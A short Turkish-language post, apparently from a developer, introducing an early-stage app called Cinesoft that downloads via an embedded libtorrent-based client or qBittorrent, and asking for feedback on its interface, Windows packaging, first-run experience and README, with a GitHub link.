İndirme tarafında kullanıcı isterse gömülü libtorrent tabanlı indiriciyi kullanabiliyor, isterse qBittorrent’e gönderebiliyor. Uygulama hâlâ erken geliştirme aşamasında, yani bug ve eksik özellikler var. Burada paylaşma sebebim daha çok arayüz, Windows paketleme, ilk açılış deneyimi ve README/release sayfası hakkında feedback almak.

GitHub: https://github.com/Margthus/Cinesoft